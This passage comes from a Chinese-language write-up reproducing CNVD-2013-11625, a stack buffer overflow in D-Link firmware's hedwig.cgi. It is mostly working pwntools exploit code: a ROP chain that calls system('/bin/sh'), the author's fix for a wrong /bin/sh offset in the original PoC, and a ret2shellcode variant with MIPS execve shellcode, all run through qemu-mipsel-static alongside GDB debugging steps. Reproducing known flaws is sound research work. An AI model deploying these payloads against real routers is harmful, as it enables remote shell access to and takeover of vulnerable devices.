payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra  move $a0, $s3 (=> jalr $s6)
 
payload = b"uid=" + payload
post_content = "winmt=pwner"

io = process(b"""
    qemu-mipsel-static -L ./ \
    -0 "hedwig.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH=11 \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE=\"""" + payload + b"""\" \
    -E REQUEST_URI="2333" \
    ./htdocs/cgibin
""", shell = True)

io.send(post_content)
io.interactive()

这个 poc 是 winmt 大佬提供的,但是实测是打不通的:

CNVD-2013-11625复现55.png

这里 winmt 大佬本人也说是打不通的

说是这个脚本的ROP链构造没什么问题,但是在用户模式下是打不通的,因为 system() 函数中有调用 fork() 函数,而 QEMU 用户模式是不支持多线程的,这里 fork() 的失败,会导致后面 $fp 是个空指针,就会出错,在系统模式打就不会出问题

后来,我解决了这个 poc 无法 getshell 的问题,我发现问题在于 b'/bin/sh' 的偏移地址错误,当然 winmt 大佬的问题可能与 QEMU 版本有关,因为 winmt 大佬使用的是 qemu-mipsel 而我的是 qemu-mipsel-static,同时我和 winmt 的 libc 基地址也是不一样的

调试一下,将 poc.py 的启动命令加上 -g 1234

io = process(b"""
    qemu-mipsel-static -L ./ \
    -0 "hedwig.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH=11 \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE=\"""" + payload + b"""\" \
    -E REQUEST_URI="2333" \
    -g 1234 \
    ./htdocs/cgibin
""", shell = True)

GDB 连接后,我们直接进到漏洞函数 hedwigcgi_main() 中:

gdb-multiarch
(gdb-multiarch) set architecture mips
(gdb-multiarch) target remote 127.0.0.1:1234

(gdb-multiarch) b *0x409480
(gdb-multiarch) c

然后一路 ni 检查,发现前面都没有问题,最后 GDB 卡在这个地方:

CNVD-2013-11625复现58.png

报了一个警告,并且无法再继续调试:

warning: GDB can't find the start of the function at 0x2b312f8b.

    GDB is unable to find the start of the function at 0x2b312f8b
and thus can't determine the size of that function's stack frame.
This means that GDB may be unable to access that stack frame, or
the frames below it.
    This problem is most likely caused by an invalid program counter or
stack pointer.
    However, if you think GDB should simply search farther back
from 0x2b312f8b for code which looks like the beginning of a
function, you can increase the range of the search using the `set
heuristic-fence-post' command.

但是考虑到我们 ni 单步调试的时候,前面两个 sprintf() 函数的执行都是没有问题的,这就有点奇怪

后来我在检查各个函数和 gadget 的地址的时候:

CNVD-2013-11625复现56.png

我这里的 libc 基地址是 0x2b2ff000,发现 system() 函数的地址是没问题的

但是原本应该是 b'/bin/sh' 的地址却出现了很奇怪的 b'H\2245+\234\3025+',但我就记得这个字符串很眼熟:

CNVD-2013-11625复现59.png

这就是我们刚刚使用 poc 打失败的时候报的错误:sh: 1: H\x945+\x9c\xc25+: not found

所以问题很明显了:system() 地址是对的,system() 的传参也是对的,但是参数不是 "/bin/sh"

搜索 b'/bin/sh' 发现真正的地址应该是 0x2b359448,于是利用 ROPgadget 查一下 libc 中 b'/bin/sh' 的偏移,发现是 0x5a448:

CNVD-2013-11625复现60.png

CNVD-2013-11625复现57.png

修改一下 poc 中 b'/bin/sh' 的偏移,新的 poc 如下:

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
 
libc_base = 0x2b2ff000   # 根据自己调试的基地址来更改
 
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x159F4) # s1  move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
# payload += p32(libc_base + 0x6DFD0) # s3  /bin/sh
payload += p32(libc_base + 0x0005a448) # s3  /bin/sh  原 poc 的偏移是错误的
payload += b'a'*(4*2)
payload += p32(libc_base + 0x32A98) # s6  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra  move $a0, $s3 (=> jalr $s6)
 
payload = b"uid=" + payload
post_content = "winmt=pwner"

io = process(b"""
    qemu-mipsel-static -L ./ \
    -0 "hedwig.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH=11 \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE=\"""" + payload + b"""\" \
    -E REQUEST_URI="2333" \
    ./htdocs/cgibin
""", shell = True)

io.send(post_content)
io.interactive()

然后再次运行 poc:

CNVD-2013-11625复现61.png

成功!

  1. 通过 shellcode 来 getshell(由于 MIPS 架构是无法开启 NX 保护的,因此可以使用 ret2shellcode,但需要注意 shellcode 中不能存在 b'\x00' 等字符防止导致 sprintf 被截断)
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
 
libc_base = 0x2b2ff000   # 根据自己调试的基地址来更改
 
payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3  sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1)
 
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4)
 
shellcode = asm('''
    slti $a2, $zero, -1
    li $t7, 0x69622f2f
    sw $t7, -12($sp)
    li $t6, 0x68732f6e
    sw $t6, -8($sp)
    sw $zero, -4($sp)
    la $a0, -12($sp)
    slti $a1, $zero, -1
    li $v0, 4011
    syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode
 
payload = b"uid=" + payload
post_content = "winmt=pwner"
io = process(b"""
    qemu-mipsel-static -L ./ \
    -0 "hedwig.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH=11 \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE=\"""" + payload + b"""\" \
    -E REQUEST_URI="2333" \
    ./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

运行 poc:

CNVD-2013-11625复现62.png

直接一发入魂!